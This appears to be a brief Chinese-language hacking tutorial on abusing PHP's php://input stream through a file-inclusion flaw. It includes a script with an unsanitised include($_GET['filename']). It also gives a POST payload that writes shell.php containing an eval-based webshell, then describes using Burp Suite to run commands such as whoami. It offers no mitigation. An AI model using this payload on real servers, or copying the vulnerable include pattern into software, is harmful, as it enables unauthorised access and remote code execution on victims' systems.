php://input
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。
源码分析
<?php
echo file_get_contents("php://input");
?>
上面的代码输出file_get_contents函数获取php://input数据。测试时传入POST数据——a=123
说明php://input可以获取POST传入的数据
写入木马
利用php://input写入木马时,PHP配置文件需要开启allow_url_include不需要开启allow_url_fopen。
如果传入的数据是PHP代码就可以写入代码
源码分析
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
通过POST方式传入的写入木马的PHP代码是
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>
这里也就传进来了
执行命令
使用burpsuit进行抓包,可以获得下面的数据
可以先改成post方式传入数据,然后写入要执行的命令
这样我们就获得了(whoami)的结果